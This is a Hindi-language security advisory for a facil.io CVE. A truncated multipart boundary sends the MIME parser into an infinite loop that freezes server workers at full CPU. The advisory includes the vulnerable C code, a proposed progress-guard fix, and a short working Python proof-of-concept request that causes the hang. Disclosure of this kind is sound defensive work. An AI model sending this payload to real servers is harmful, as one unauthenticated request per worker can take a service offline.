
सुरक्षा सलाह: facil.io MIME पार्सर में अनंत लूप DoS (आंशिक बाउंड्री)
निर्धारित CVE ID: CVE-2026-66730
उत्पाद: facil.io
प्रभावित संस्करण: facil.io >= 0.6.0 (सभी 0.6.x, सभी 0.7.x, master); MIME पार्सर के साथ 0.6.0 में पेश किया गया
घटक: lib/facil/http/http.c, lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-835 (अगम्य निकास स्थिति वाला लूप), CWE-400 (अनियंत्रित संसाधन खपत)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
शोधकर्ता: Theodosis Paidakis
एक multipart/form-data अनुरोध जिसका बॉडी आंशिक समापन बाउंड्री (उदा., --B--\r\n के बजाय --B-) के साथ समाप्त होता है, http_parse_body() को 100% CPU पर अनंत लूप में घुमा देता है। जब MIME पार्सर आंशिक बाउंड्री पर अटक जाता है तो वह 0 बाइट्स खपत (consumed) लौटाता है, लेकिन कॉल करने वाला लूप केवल !done && !error जाँचता है। कोई भी फ्लैग सेट नहीं होता, इसलिए यह उसी डेटा पर पार्सर को अनंत काल तक पुनः कॉल करता रहता है। सर्वर क्रैश नहीं होता, इसलिए कोई worker पुनः स्पॉन नहीं होता। एक बिना प्रमाणीकरण वाला POST अनुरोध एक worker को स्थायी रूप से फ्रीज़ कर देता है।
यह CVE-2026-41146 से असंबंधित है, जो JSON पार्सर (fio_json_parser.h) में अनंत लूप है। यह बग MIME/multipart पार्सर में है।
भाग 1: कॉलर में कोई प्रगति गार्ड नहीं
lib/facil/http/http.c, पंक्तियाँ 1963-1967
// lib/facil/http/http.c:1963-1967
do {
size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
p.pos += cons; // += 0 when parser stalls
p.buffer = fiobj_data_pread(h->body, p.pos, 4096); // same slice returned again
} while (p.buffer.data && !p.p.done && !p.p.error); // neither flag set -> loops forever
यदि http_mime_parse 0 लौटाता है और न तो done और न ही error सेट करता है, तो p.pos स्थिर रहता है, fiobj_data_pread वही बफर लौटाता है, और लूप के पास कोई निकास नहीं होता।
भाग 2: जब http_mime_parse 0 लौटाता है
lib/facil/http/parsers/http_mime_parser.h, पंक्तियाँ 314-329 और consume_partial शाखा
पार्सर मान (value) अनुभाग में पूर्ण बाउंड्री खोजता है। जब बॉडी \n--B- (पूर्ण समापन बाउंड्री \n--B--\r\n से चार बाइट्स छोटा) के साथ समाप्त होती है, तो स्कैन को \n के बाद कुछ ऐसा मिलता है जो बाउंड्री की शुरुआत जैसा दिखता है, लेकिन यह पुष्टि नहीं कर पाता कि यह पूर्ण है:
// lib/facil/http/parsers/http_mime_parser.h:314-329 (value scan)
do {
end = memchr(end, '\n', (size_t)(stop - end));
} while (end && ++end &&
(size_t)(stop - end) >= (4 + parser->boundary_len) &&
(end[0] != '-' || end[1] != '-' || memcmp(end+2, parser->boundary, parser->boundary_len)));
if (!end || end + 4 + parser->boundary_len >= stop) {
// partial boundary -- transition to consume_partial on first call
parser->in_obj = 1;
goto consume_partial;
}
अगली कॉल पर, in_obj पहले से सेट होता है। consume_partial शाखा --B- से पहले वही \n ढूंढती है, फिर रिटर्न पॉइंटर को किसी भी अप्रयुक्त (unconsumed) डेटा से पहले पीछे ले जाती है:
// lib/facil/http/parsers/http_mime_parser.h (consume_partial branch, ~line 162-169)
} else if (end + 4 + parser->boundary_len >= stop) {
end -= 2;
if (end[0] == '\r') --end; // end now points before the \n
pos = end; // return pointer set behind any new data
goto end_of_data; // returns 0 bytes consumed
}
pos वहीं या उससे पहले समाप्त होता है जहाँ से यह शुरू हुआ था। फ़ंक्शन 0 लौटाता है। कॉलर में वापस, cons = 0, p.pos आगे नहीं बढ़ता, और यह चक्र दोहराता रहता है।
सर्वर शुरू करें, फिर चलाएँ:
# poc_mime_infinite_loop.py
import socket, time
BOUNDARY = "B"
body = (
"--B\r\n"
"Content-Disposition: form-data; name=field\r\n"
"\r\n"
"value\r\n"
"--B-" # partial closing boundary: missing final '-\r\n'
).encode()
req = (
f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
f"Content-Type: multipart/form-data; boundary=B\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body
s = socket.socket()
s.settimeout(10)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
s.recv(4096)
print("got response - not vulnerable")
except socket.timeout:
print("hung for 10s - server spinning at 100% CPU")
देखा गया: सर्वर प्रोसेस 99.7-100% CPU पर। पुनर्प्राप्ति के लिए kill -9 आवश्यक है।
एक फ्रीज़ हुआ worker कभी बाहर नहीं निकलता, इसलिए कोई पुनः स्पॉन नहीं होता। पर्याप्त अनुरोधों (worker की संख्या के बराबर) के साथ, सर्वर सभी क्लाइंट्स की सेवा स्थायी रूप से बंद कर देता है जब तक मैन्युअल रूप से पुनः प्रारंभ न किया जाए। न तो प्रमाणीकरण, न विशेष हेडर, और न ही कोई पूर्व स्थिति आवश्यक है।
http_parse_body में लूप में प्रगति गार्ड जोड़ें:
lib/facil/http/http.c, पंक्तियाँ 1963-1967
// lib/facil/http/http.c:1963-1967 -- proposed fix
size_t last_pos = (size_t)-1;
do {
if (p.pos == last_pos) { p.p.error = 1; break; } // no progress: abort
last_pos = p.pos;
size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
p.pos += cons;
p.buffer = fiobj_data_pread(h->body, p.pos, 4096);
} while (p.buffer.data && !p.p.done && !p.p.error);